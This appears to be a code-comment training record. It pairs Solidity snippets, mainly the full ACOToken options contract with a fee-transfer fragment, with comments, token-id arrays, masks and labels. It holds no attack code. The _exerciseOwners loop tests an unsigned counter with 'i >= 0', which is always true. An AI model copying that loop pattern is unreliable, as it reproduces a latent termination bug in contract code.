protocolRevenueSharePercentage.add(protocolDirectFeePercent); return (totalProtocolFeePercentage, managerRevenueSharePercentage); } /** * Get the price of the component * * @param _component Component to get the price for * @param _quoteAsset Address of token to quote valuation in * * @return uint256 Component's price */ function _calculateComponentPrice(address _component, address _quoteAsset) internal view returns (uint256) { IPriceOracle priceOracle = controller.getPriceOracle(); address masterQuoteAsset = priceOracle.masterQuoteAsset(); // Get component price from price oracle. If price does not exist, revert. uint256 componentPrice = priceOracle.getPrice(_component, masterQuoteAsset); if (masterQuoteAsset != _quoteAsset) { uint256 quoteToMaster = priceOracle.getPrice(_quoteAsset, masterQuoteAsset); componentPrice = componentPrice.preciseDiv(quoteToMaster); } return componentPrice; } /** * Transfer fees(WETH) from module to appropriate fee recipients * * @param _ckToken Instance of the CKToken * @param _issueInfo Issuance information, contains fee recipient address and fee amounts */ function _transferFees(ICKToken _ckToken, ActionInfo memory _issueInfo) internal { if (_issueInfo.protocolFees > 0) { weth.safeTransfer(controller.feeRecipient(), _issueInfo.protocolFees); } if (_issueInfo.managerFee > 0) { weth.safeTransfer(batchIssuanceSettings[_ckToken].feeRecipient, _issueInfo.managerFee); } } }
Manager fee recipient
address feeRecipient;
2,363,643
[ 1, 1318, 14036, 8027, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1758, 14036, 18241, 31, 13491, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.6; import "./ERC20.sol"; import "./Address.sol"; import "./BokkyPooBahsDateTimeLibrary.sol"; import "./Strings.sol"; /** * @title ACOToken * @dev The implementation of the ACO token. * The token is ERC20 compliance. */ contract ACOToken is ERC20 { using Address for address; /** * @dev Struct to store the accounts that generated tokens with a collateral deposit. */ struct TokenCollateralized { /** * @dev Current amount of tokens. */ uint256 amount; /** * @dev Index on the collateral owners array. */ uint256 index; } /** * @dev Emitted when collateral is deposited on the contract. * @param account Address of the collateral owner. * @param amount Amount of collateral deposited. */ event CollateralDeposit(address indexed account, uint256 amount); /** * @dev Emitted when collateral is withdrawn from the contract. * @param account Address of the account. * @param recipient Address of the collateral destination. * @param amount Amount of collateral withdrawn. * @param fee The fee amount charged on the withdrawal. */ event CollateralWithdraw(address indexed account, address indexed recipient, uint256 amount, uint256 fee); /** * @dev Emitted when the collateral is used on an assignment. * @param from Address of the account of the collateral owner. * @param to Address of the account that exercises tokens to get the collateral. * @param paidAmount Amount paid to the collateral owner. * @param tokenAmount Amount of tokens used to exercise. */ event Assigned(address indexed from, address indexed to, uint256 paidAmount, uint256 tokenAmount); /** * @dev The ERC20 token address for the underlying asset (0x0 for Ethereum). */ address public underlying; /** * @dev The ERC20 token address for the strike asset (0x0 for Ethereum). */ address public strikeAsset; /** * @dev Address of the fee destination charged on the exercise. */ address payable public feeDestination; /** * @dev True if the type is CALL, false for PUT. */ bool public isCall; /** * @dev The strike price for the token with the strike asset precision. */ uint256 public strikePrice; /** * @dev The UNIX time for the token expiration. */ uint256 public expiryTime; /** * @dev The total amount of collateral on the contract. */ uint256 public totalCollateral; /** * @dev The fee value. It is a percentage value (100000 is 100%). */ uint256 public acoFee; /** * @dev Symbol of the underlying asset. */ string public underlyingSymbol; /** * @dev Symbol of the strike asset. */ string public strikeAssetSymbol; /** * @dev Decimals for the underlying asset. */ uint8 public underlyingDecimals; /** * @dev Decimals for the strike asset. */ uint8 public strikeAssetDecimals; /** * @dev Underlying precision. (10 ^ underlyingDecimals) */ uint256 internal underlyingPrecision; /** * @dev Accounts that generated tokens with a collateral deposit. */ mapping(address => TokenCollateralized) internal tokenData; /** * @dev Array with all accounts with collateral deposited. */ address[] internal _collateralOwners; /** * @dev Internal data to control the reentrancy. */ bool internal _notEntered; /** * @dev Selector for ERC20 transfer function. */ bytes4 internal _transferSelector; /** * @dev Selector for ERC20 transfer from function. */ bytes4 internal _transferFromSelector; /** * @dev Modifier to check if the token is not expired. * It is executed only while the token is not expired. */ modifier notExpired() { require(_notExpired(), "ACOToken::Expired"); _; } /** * @dev Modifier to prevents a contract from calling itself during the function execution. */ modifier nonReentrant() { require(_notEntered, "ACOToken::Reentry"); _notEntered = false; _; _notEntered = true; } /** * @dev Function to initialize the contract. * It should be called when creating the token. * It must be called only once. The `assert` is to guarantee that behavior. * @param _underlying Address of the underlying asset (0x0 for Ethereum). * @param _strikeAsset Address of the strike asset (0x0 for Ethereum). * @param _isCall True if the type is CALL, false for PUT. * @param _strikePrice The strike price with the strike asset precision. * @param _expiryTime The UNIX time for the token expiration. * @param _acoFee Value of the ACO fee. It is a percentage value (100000 is 100%). * @param _feeDestination Address of the fee destination charged on the exercise. */ function init( address _underlying, address _strikeAsset, bool _isCall, uint256 _strikePrice, uint256 _expiryTime, uint256 _acoFee, address payable _feeDestination ) public { require(underlying == address(0) && strikeAsset == address(0) && strikePrice == 0, "ACOToken::init: Already initialized"); require(_expiryTime > now, "ACOToken::init: Invalid expiry"); require(_strikePrice > 0, "ACOToken::init: Invalid strike price"); require(_underlying != _strikeAsset, "ACOToken::init: Same assets"); require(_acoFee <= 500, "ACOToken::init: Invalid ACO fee"); // Maximum is 0.5% require(_isEther(_underlying) || _underlying.isContract(), "ACOToken::init: Invalid underlying"); require(_isEther(_strikeAsset) || _strikeAsset.isContract(), "ACOToken::init: Invalid strike asset"); underlying = _underlying; strikeAsset = _strikeAsset; isCall = _isCall; strikePrice = _strikePrice; expiryTime = _expiryTime; acoFee = _acoFee; feeDestination = _feeDestination; underlyingDecimals = _getAssetDecimals(_underlying); strikeAssetDecimals = _getAssetDecimals(_strikeAsset); underlyingSymbol = _getAssetSymbol(_underlying); strikeAssetSymbol = _getAssetSymbol(_strikeAsset); underlyingPrecision = 10 ** uint256(underlyingDecimals); _transferSelector = bytes4(keccak256(bytes("transfer(address,uint256)"))); _transferFromSelector = bytes4(keccak256(bytes("transferFrom(address,address,uint256)"))); _notEntered = true; } /** * @dev Function to guarantee that the contract will not receive ether directly. */ receive() external payable { revert(); } /** * @dev Function to get the token name. */ function name() public view override returns(string memory) { return _name(); } /** * @dev Function to get the token symbol, that it is equal to the name. */ function symbol() public view override returns(string memory) { return _name(); } /** * @dev Function to get the token decimals, that it is equal to the underlying asset decimals. */ function decimals() public view override returns(uint8) { return underlyingDecimals; } /** * @dev Function to get the current amount of collateral for an account. * @param account Address of the account. * @return The current amount of collateral. */ function currentCollateral(address account) public view returns(uint256) { return getCollateralAmount(currentCollateralizedTokens(account)); } /** * @dev Function to get the current amount of unassignable collateral for an account. * NOTE: The function is valid when the token is NOT expired yet. * After expiration, the unassignable collateral is equal to the account's collateral balance. * @param account Address of the account. * @return The respective amount of unassignable collateral. */ function unassignableCollateral(address account) public view returns(uint256) { return getCollateralAmount(unassignableTokens(account)); } /** * @dev Function to get the current amount of assignable collateral for an account. * NOTE: The function is valid when the token is NOT expired yet. * After expiration, the assignable collateral is zero. * @param account Address of the account. * @return The respective amount of assignable collateral. */ function assignableCollateral(address account) public view returns(uint256) { return getCollateralAmount(assignableTokens(account)); } /** * @dev Function to get the current amount of collateralized tokens for an account. * @param account Address of the account. * @return The current amount of collateralized tokens. */ function currentCollateralizedTokens(address account) public view returns(uint256) { return tokenData[account].amount; } /** * @dev Function to get the current amount of unassignable tokens for an account. * NOTE: The function is valid when the token is NOT expired yet. * After expiration, the unassignable tokens is equal to the account's collateralized tokens. * @param account Address of the account. * @return The respective amount of unassignable tokens. */ function unassignableTokens(address account) public view returns(uint256) { if (balanceOf(account) > tokenData[account].amount) { return tokenData[account].amount; } else { return balanceOf(account); } } /** * @dev Function to get the current amount of assignable tokens for an account. * NOTE: The function is valid when the token is NOT expired yet. * After expiration, the assignable tokens is zero. * @param account Address of the account. * @return The respective amount of assignable tokens. */ function assignableTokens(address account) public view returns(uint256) { return _getAssignableAmount(account); } /** * @dev Function to get the equivalent collateral amount for a token amount. * @param tokenAmount Amount of tokens. * @return The respective amount of collateral. */ function getCollateralAmount(uint256 tokenAmount) public view returns(uint256) { if (isCall) { return tokenAmount; } else if (tokenAmount > 0) { return _getTokenStrikePriceRelation(tokenAmount); } else { return 0; } } /** * @dev Function to get the equivalent token amount for a collateral amount. * @param collateralAmount Amount of collateral. * @return The respective amount of tokens. */ function getTokenAmount(uint256 collateralAmount) public view returns(uint256) { if (isCall) { return collateralAmount; } else if (collateralAmount > 0) { return collateralAmount.mul(underlyingPrecision).div(strikePrice); } else { return 0; } } /** * @dev Function to get the data for exercise of an amount of token. * @param tokenAmount Amount of tokens. * @return The asset and the respective amount that should be sent to get the collateral. */ function getExerciseData(uint256 tokenAmount) public view returns(address, uint256) { if (isCall) { return (strikeAsset, _getTokenStrikePriceRelation(tokenAmount)); } else { return (underlying, tokenAmount); } } /** * @dev Function to get the collateral to be received on an exercise and the respective fee. * @param tokenAmount Amount of tokens. * @return The collateral to be received and the respective fee. */ function getCollateralOnExercise(uint256 tokenAmount) public view returns(uint256, uint256) { uint256 collateralAmount = getCollateralAmount(tokenAmount); uint256 fee = collateralAmount.mul(acoFee).div(100000); collateralAmount = collateralAmount.sub(fee); return (collateralAmount, fee); } /** * @dev Function to get the collateral asset. * @return The address of the collateral asset. */ function collateral() public view returns(address) { if (isCall) { return underlying; } else { return strikeAsset; } } /** * @dev Function to mint tokens with Ether deposited as collateral. * NOTE: The function only works when the token is NOT expired yet. */ function mintPayable() external payable { require(_isEther(collateral()), "ACOToken::mintPayable: Invalid call"); _mintToken(msg.sender, msg.value); } /** * @dev Function to mint tokens with Ether deposited as collateral to an informed account. * However, the minted tokens are assigned to the transaction sender. * NOTE: The function only works when the token is NOT expired yet. * @param account Address of the account that will be the collateral owner. */ function mintToPayable(address account) external payable { require(_isEther(collateral()), "ACOToken::mintToPayable: Invalid call"); _mintToken(account, msg.value); } /** * @dev Function to mint tokens with ERC20 deposited as collateral. * NOTE: The function only works when the token is NOT expired yet. * @param collateralAmount Amount of collateral deposited. */ function mint(uint256 collateralAmount) external { address _collateral = collateral(); require(!_isEther(_collateral), "ACOToken::mint: Invalid call"); _transferFromERC20(_collateral, msg.sender, address(this), collateralAmount); _mintToken(msg.sender, collateralAmount); } /** * @dev Function to mint tokens with ERC20 deposited as collateral to an informed account. * However, the minted tokens are assigned to the transaction sender. * NOTE: The function only works when the token is NOT expired yet. * @param account Address of the account that will be the collateral owner. * @param collateralAmount Amount of collateral deposited. */ function mintTo(address account, uint256 collateralAmount) external { address _collateral = collateral(); require(!_isEther(_collateral), "ACOToken::mintTo: Invalid call"); _transferFromERC20(_collateral, msg.sender, address(this), collateralAmount); _mintToken(account, collateralAmount); } /** * @dev Function to burn tokens and get the collateral, not assigned, back. * NOTE: The function only works when the token is NOT expired yet. * @param tokenAmount Amount of tokens to be burned. */ function burn(uint256 tokenAmount) external { _burn(msg.sender, tokenAmount); } /** * @dev Function to burn tokens from a specific account and send the collateral to its address. * The token allowance must be respected. * The collateral is sent to the transaction sender. * NOTE: The function only works when the token is NOT expired yet. * @param account Address of the account. * @param tokenAmount Amount of tokens to be burned. */ function burnFrom(address account, uint256 tokenAmount) external { _burn(account, tokenAmount); } /** * @dev Function to get the collateral, not assigned, back. * NOTE: The function only works when the token IS expired. */ function redeem() external { _redeem(msg.sender); } /** * @dev Function to get the collateral from a specific account sent back to its address . * The token allowance must be respected. * The collateral is sent to the transaction sender. * NOTE: The function only works when the token IS expired. * @param account Address of the account. */ function redeemFrom(address account) external { require(tokenData[account].amount <= allowance(account, msg.sender), "ACOToken::redeemFrom: No allowance"); _redeem(account); } /** * @dev Function to exercise the tokens, paying to get the equivalent collateral. * The paid amount is sent to the collateral owners that were assigned. * NOTE: The function only works when the token is NOT expired. * @param tokenAmount Amount of tokens. */ function exercise(uint256 tokenAmount) external payable { _exercise(msg.sender, tokenAmount); } /** * @dev Function to exercise the tokens from an account, paying to get the equivalent collateral. * The token allowance must be respected. * The paid amount is sent to the collateral owners that were assigned. * The collateral is transferred to the transaction sender. * NOTE: The function only works when the token is NOT expired. * @param account Address of the account. * @param tokenAmount Amount of tokens. */ function exerciseFrom(address account, uint256 tokenAmount) external payable { _exercise(account, tokenAmount); } /** * @dev Function to exercise the tokens, paying to get the equivalent collateral. * The paid amount is sent to the collateral owners (on accounts list) that were assigned. * NOTE: The function only works when the token is NOT expired. * @param tokenAmount Amount of tokens. * @param accounts The array of addresses to get collateral from. */ function exerciseAccounts(uint256 tokenAmount, address[] calldata accounts) external payable { _exerciseFromAccounts(msg.sender, tokenAmount, accounts); } /** * @dev Function to exercise the tokens from a specific account, paying to get the equivalent collateral sent to its address. * The token allowance must be respected. * The paid amount is sent to the collateral owners (on accounts list) that were assigned. * The collateral is transferred to the transaction sender. * NOTE: The function only works when the token is NOT expired. * @param account Address of the account. * @param tokenAmount Amount of tokens. * @param accounts The array of addresses to get the deposited collateral. */ function exerciseAccountsFrom(address account, uint256 tokenAmount, address[] calldata accounts) external payable { _exerciseFromAccounts(account, tokenAmount, accounts); } /** * @dev Function to burn the tokens after expiration. * It is an optional function to `clear` the account wallet from an expired and not functional token. * NOTE: The function only works when the token IS expired. */ function clear() external { _clear(msg.sender); } /** * @dev Function to burn the tokens from an account after expiration. * It is an optional function to `clear` the account wallet from an expired and not functional token. * The token allowance must be respected. * NOTE: The function only works when the token IS expired. * @param account Address of the account. */ function clearFrom(address account) external { _clear(account); } /** * @dev Internal function to burn the tokens from an account after expiration. * @param account Address of the account. */ function _clear(address account) internal { require(!_notExpired(), "ACOToken::_clear: Token not expired yet"); require(!_accountHasCollateral(account), "ACOToken::_clear: Must call the redeem method"); _callBurn(account, balanceOf(account)); } /** * @dev Internal function to redeem respective collateral from an account. * @param account Address of the account. * @param tokenAmount Amount of tokens. */ function _redeemCollateral(address account, uint256 tokenAmount) internal { require(_accountHasCollateral(account), "ACOToken::_redeemCollateral: No collateral available"); require(tokenAmount > 0, "ACOToken::_redeemCollateral: Invalid token amount"); TokenCollateralized storage data = tokenData[account]; data.amount = data.amount.sub(tokenAmount); _removeCollateralDataIfNecessary(account); _transferCollateral(account, getCollateralAmount(tokenAmount), 0); } /** * @dev Internal function to mint tokens. * The tokens are minted for the transaction sender. * @param account Address of the account. * @param collateralAmount Amount of collateral deposited. */ function _mintToken(address account, uint256 collateralAmount) nonReentrant notExpired internal { require(collateralAmount > 0, "ACOToken::_mintToken: Invalid collateral amount"); if (!_accountHasCollateral(account)) { tokenData[account].index = _collateralOwners.length; _collateralOwners.push(account); } uint256 tokenAmount = getTokenAmount(collateralAmount); tokenData[account].amount = tokenData[account].amount.add(tokenAmount); totalCollateral = totalCollateral.add(collateralAmount); emit CollateralDeposit(account, collateralAmount); super._mintAction(msg.sender, tokenAmount); } /** * @dev Internal function to transfer tokens. * The token transfer only works when the token is NOT expired. * @param sender Source of the tokens. * @param recipient Destination address for the tokens. * @param amount Amount of tokens. */ function _transfer(address sender, address recipient, uint256 amount) notExpired internal override { super._transferAction(sender, recipient, amount); } /** * @dev Internal function to set the token permission from an account to another address. * The token approval only works when the token is NOT expired. * @param owner Address of the token owner. * @param spender Address of the spender authorized. * @param amount Amount of tokens authorized. */ function _approve(address owner, address spender, uint256 amount) notExpired internal override { super._approveAction(owner, spender, amount); } /** * @dev Internal function to transfer collateral. * When there is a fee, the calculated fee is also transferred to the destination fee address. * The collateral destination is always the transaction sender address. * @param account Address of the account. * @param collateralAmount Amount of collateral to be redeemed. * @param fee Amount of fee charged. */ function _transferCollateral(address account, uint256 collateralAmount, uint256 fee) internal { totalCollateral = totalCollateral.sub(collateralAmount.add(fee)); address _collateral = collateral(); if (_isEther(_collateral)) { payable(msg.sender).transfer(collateralAmount); if (fee > 0) { feeDestination.transfer(fee); } } else { _transferERC20(_collateral, msg.sender, collateralAmount); if (fee > 0) { _transferERC20(_collateral, feeDestination, fee); } } emit CollateralWithdraw(account, msg.sender, collateralAmount, fee); } /** * @dev Internal function to exercise the tokens from an account. * @param account Address of the account that is exercising. * @param tokenAmount Amount of tokens. */ function _exercise(address account, uint256 tokenAmount) nonReentrant internal { _validateAndBurn(account, tokenAmount); _exerciseOwners(account, tokenAmount); (uint256 collateralAmount, uint256 fee) = getCollateralOnExercise(tokenAmount); _transferCollateral(account, collateralAmount, fee); } /** * @dev Internal function to exercise the tokens from an account. * @param account Address of the account that is exercising. * @param tokenAmount Amount of tokens. * @param accounts The array of addresses to get the collateral from. */ function _exerciseFromAccounts(address account, uint256 tokenAmount, address[] memory accounts) nonReentrant internal { _validateAndBurn(account, tokenAmount); _exerciseAccounts(account, tokenAmount, accounts); (uint256 collateralAmount, uint256 fee) = getCollateralOnExercise(tokenAmount); _transferCollateral(account, collateralAmount, fee); } /** * @dev Internal function to exercise the assignable tokens from the stored list of collateral owners. * @param exerciseAccount Address of the account that is exercising. * @param tokenAmount Amount of tokens. */ function _exerciseOwners(address exerciseAccount, uint256 tokenAmount) internal { uint256 start = _collateralOwners.length - 1; for (uint256 i = start; i >= 0; --i) { if (tokenAmount == 0) { break; } tokenAmount = _exerciseAccount(_collateralOwners[i], tokenAmount, exerciseAccount); } require(tokenAmount == 0, "ACOToken::_exerciseOwners: Invalid remaining amount"); } /** * @dev Internal function to exercise the assignable tokens from an accounts list. * @param exerciseAccount Address of the account that is exercising. * @param tokenAmount Amount of tokens. * @param accounts The array of addresses to get the collateral from. */ function _exerciseAccounts(address exerciseAccount, uint256 tokenAmount, address[] memory accounts) internal { for (uint256 i = 0; i < accounts.length; ++i) { if (tokenAmount == 0) { break; } tokenAmount = _exerciseAccount(accounts[i], tokenAmount, exerciseAccount); } require(tokenAmount == 0, "ACOToken::_exerciseAccounts: Invalid remaining amount"); } /** * @dev Internal function to exercise the assignable tokens from an account and transfer to its address the respective payment. * @param account Address of the account. * @param tokenAmount Amount of tokens. * @param exerciseAccount Address of the account that is exercising. * @return Remaining amount of tokens. */ function _exerciseAccount(address account, uint256 tokenAmount, address exerciseAccount) internal returns(uint256) { uint256 available = _getAssignableAmount(account); if (available > 0) { TokenCollateralized storage data = tokenData[account]; uint256 valueToTransfer; if (available < tokenAmount) { valueToTransfer = available; tokenAmount = tokenAmount.sub(available); } else { valueToTransfer = tokenAmount; tokenAmount = 0; } (address exerciseAsset, uint256 amount) = getExerciseData(valueToTransfer); data.amount = data.amount.sub(valueToTransfer); _removeCollateralDataIfNecessary(account); if (_isEther(exerciseAsset)) { payable(account).transfer(amount); } else { _transferERC20(exerciseAsset, account, amount); } emit Assigned(account, exerciseAccount, amount, valueToTransfer); } return tokenAmount; } /** * @dev Internal function to validate the exercise operation and burn the respective tokens. * @param account Address of the account that is exercising. * @param tokenAmount Amount of tokens. */ function _validateAndBurn(address account, uint256 tokenAmount) notExpired internal { require(tokenAmount > 0, "ACOToken::_validateAndBurn: Invalid token amount"); // Whether an account has deposited collateral it only can exercise the extra amount of unassignable tokens. if (_accountHasCollateral(account)) { require(balanceOf(account) > tokenData[account].amount, "ACOToken::_validateAndBurn: Tokens compromised"); require(tokenAmount <= balanceOf(account).sub(tokenData[account].amount), "ACOToken::_validateAndBurn: Token amount not available"); } _callBurn(account, tokenAmount); (address exerciseAsset, uint256 expectedAmount) = getExerciseData(tokenAmount); if (_isEther(exerciseAsset)) { require(msg.value == expectedAmount, "ACOToken::_validateAndBurn: Invalid ether amount"); } else { require(msg.value == 0, "ACOToken::_validateAndBurn: No ether expected"); _transferFromERC20(exerciseAsset, msg.sender, address(this), expectedAmount); } } /** * @dev Internal function to calculate the token strike price relation. * @param tokenAmount Amount of tokens. * @return Calculated value with strike asset precision. */ function _getTokenStrikePriceRelation(uint256 tokenAmount) internal view returns(uint256) { return tokenAmount.mul(strikePrice).div(underlyingPrecision); } /** * @dev Internal function to get the collateral sent back from an account. * Function to be called when the token IS expired. * @param account Address of the account. */ function _redeem(address account) nonReentrant internal { require(!_notExpired(), "ACOToken::_redeem: Token not expired yet"); _redeemCollateral(account, tokenData[account].amount); super._burnAction(account, balanceOf(account)); } /** * @dev Internal function to burn tokens from an account and get the collateral, not assigned, back. * @param account Address of the account. * @param tokenAmount Amount of tokens to be burned. */ function _burn(address account, uint256 tokenAmount) nonReentrant notExpired internal { _redeemCollateral(account, tokenAmount); _callBurn(account, tokenAmount); } /** * @dev Internal function to burn tokens. * @param account Address of the account. * @param tokenAmount Amount of tokens to be burned. */ function _callBurn(address account, uint256 tokenAmount) internal { if (account == msg.sender) { super._burnAction(account, tokenAmount); } else { super._burnFrom(account, tokenAmount); } } /** * @dev Internal function to get the amount of assignable token from an account. * @param account Address of the account. * @return The assignable amount of tokens. */ function _getAssignableAmount(address account) internal view returns(uint256) { if (tokenData[account].amount > balanceOf(account)) { return tokenData[account].amount.sub(balanceOf(account)); } else { return 0; } } /** * @dev Internal function to remove the token data with collateral if its total amount was assigned. * @param account Address of account. */ function _removeCollateralDataIfNecessary(address account) internal { TokenCollateralized storage data = tokenData[account]; if (!_hasCollateral(data)) { uint256 lastIndex = _collateralOwners.length - 1; if (lastIndex != data.index) { address last = _collateralOwners[lastIndex]; tokenData[last].index = data.index; _collateralOwners[data.index] = last; } _collateralOwners.pop(); delete tokenData[account]; } } /** * @dev Internal function to get if the token is not expired. * @return Whether the token is NOT expired. */ function _notExpired() internal view returns(bool) { return now <= expiryTime; } /** * @dev Internal function to get if an account has collateral deposited. * @param account Address of the account. * @return Whether the account has collateral deposited. */ function _accountHasCollateral(address account) internal view returns(bool) { return _hasCollateral(tokenData[account]); } /** * @dev Internal function to get if an account has collateral deposited. * @param data Token data from an account. * @return Whether the account has collateral deposited. */ function _hasCollateral(TokenCollateralized storage data) internal view returns(bool) { return data.amount > 0; } /** * @dev Internal function to get if the address is for Ethereum (0x0). * @param _address Address to be checked. * @return Whether the address is for Ethereum. */ function _isEther(address _address) internal pure returns(bool) { return _address == address(0); } /** * @dev Internal function to get the token name. * The token name is assembled with the token data: * ACO UNDERLYING_SYMBOL-EXPIRYTIME-STRIKE_PRICE_STRIKE_ASSET_SYMBOL-TYPE * @return The token name. */ function _name() internal view returns(string memory) { return string(abi.encodePacked( "ACO ", underlyingSymbol, "-", _getFormattedStrikePrice(), strikeAssetSymbol, "-", _getType(), "-", _getFormattedExpiryTime() )); } /** * @dev Internal function to get the token type description. * @return The token type description. */ function _getType() internal view returns(string memory) { if (isCall) { return "C"; } else { return "P"; } } /** * @dev Internal function to get the expiry time formatted. * @return The expiry time formatted. */ function _getFormattedExpiryTime() internal view returns(string memory) { (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute,) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(expiryTime); return string(abi.encodePacked( _getNumberWithTwoCaracters(day), _getMonthFormatted(month), _getYearFormatted(year), "-", _getNumberWithTwoCaracters(hour), _getNumberWithTwoCaracters(minute), "UTC" )); } /** * @dev Internal function to get the year formatted with 2 characters. * @return The year formatted. */ function _getYearFormatted(uint256 year) internal pure returns(string memory) { bytes memory yearBytes = bytes(Strings.toString(year)); bytes memory result = new bytes(2); uint256 startIndex = yearBytes.length - 2; for (uint256 i = startIndex; i < yearBytes.length; i++) { result[i - startIndex] = yearBytes[i]; } return string(result); } /** * @dev Internal function to get the month abbreviation. * @return The month abbreviation. */ function _getMonthFormatted(uint256 month) internal pure returns(string memory) { if (month == 1) { return "JAN"; } else if (month == 2) { return "FEB"; } else if (month == 3) { return "MAR"; } else if (month == 4) { return "APR"; } else if (month == 5) { return "MAY"; } else if (month == 6) { return "JUN"; } else if (month == 7) { return "JUL"; } else if (month == 8) { return "AUG"; } else if (month == 9) { return "SEP"; } else if (month == 10) { return "OCT"; } else if (month == 11) { return "NOV"; } else if (month == 12) { return "DEC"; } else { return "INVALID"; } } /** * @dev Internal function to get the number with 2 characters. * @return The 2 characters for the number. */ function _getNumberWithTwoCaracters(uint256 number) internal pure returns(string memory) { string memory _string = Strings.toString(number); if (number < 10) { return string(abi.encodePacked("0", _string)); } else { return _string; } } /** * @dev Internal function to get the strike price formatted. * @return The strike price formatted. */ function _getFormattedStrikePrice() internal view returns(string memory) { uint256 digits; uint256 count; int256 representativeAt = -1; uint256 addPointAt = 0; uint256 temp = strikePrice; uint256 number = strikePrice; while (temp != 0) { if (representativeAt == -1 && (temp % 10 != 0 || count == uint256(strikeAssetDecimals))) { representativeAt = int256(digits); number = temp; } if (representativeAt >= 0) { if (count == uint256(strikeAssetDecimals)) { addPointAt = digits; } digits++; } temp /= 10; count++; } if (count <= uint256(strikeAssetDecimals)) { digits = digits + 2 + uint256(strikeAssetDecimals) - count; addPointAt = digits - 2; } else if (addPointAt > 0) { digits++; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = number; for (uint256 i = 0; i < digits; ++i) { if (i > 0 && i == addPointAt) { buffer[index--] = byte("."); } else if (number == 0) { buffer[index--] = byte("0"); } else { if (representativeAt <= int256(i)) { buffer[index--] = byte(uint8(48 + number % 10)); } number /= 10; } } return string(buffer); } /** * @dev Internal function to the asset decimals. * @param asset Address of the asset. * @return The asset decimals. */ function _getAssetDecimals(address asset) internal view returns(uint8) { if (_isEther(asset)) { return uint8(18); } else { (bool success, bytes memory returndata) = asset.staticcall(abi.encodeWithSignature("decimals()")); require(success, "ACOToken::_getAssetDecimals: Invalid asset decimals"); return abi.decode(returndata, (uint8)); } } /** * @dev Internal function to the asset symbol. * @param asset Address of the asset. * @return The asset symbol. */ function _getAssetSymbol(address asset) internal view returns(string memory) { if (_isEther(asset)) { return "ETH"; } else { (bool success, bytes memory returndata) = asset.staticcall(abi.encodeWithSignature("symbol()")); require(success, "ACOToken::_getAssetSymbol: Invalid asset symbol"); return abi.decode(returndata, (string)); } } /** * @dev Internal function to transfer ERC20 tokens. * @param token Address of the token. * @param recipient Address of the transfer destination. * @param amount Amount to transfer. */ function _transferERC20(address token, address recipient, uint256 amount) internal { (bool success, bytes memory returndata) = token.call(abi.encodeWithSelector(_transferSelector, recipient, amount)); require(success && (returndata.length == 0 || abi.decode(returndata, (bool))), "ACOToken::_transferERC20"); } /** * @dev Internal function to call transferFrom on ERC20 tokens. * @param token Address of the token. * @param sender Address of the sender. * @param recipient Address of the transfer destination. * @param amount Amount to transfer. */ function _transferFromERC20(address token, address sender, address recipient, uint256 amount) internal { (bool success, bytes memory returndata) = token.call(abi.encodeWithSelector(_transferFromSelector, sender, recipient, amount)); require(success && (returndata.length == 0 || abi.decode(returndata, (bool))), "ACOToken::_transferFromERC20"); } }
* @dev Internal function to validate the exercise operation and burn the respective tokens. @param account Address of the account that is exercising. @param tokenAmount Amount of tokens./ Whether an account has deposited collateral it only can exercise the extra amount of unassignable tokens.
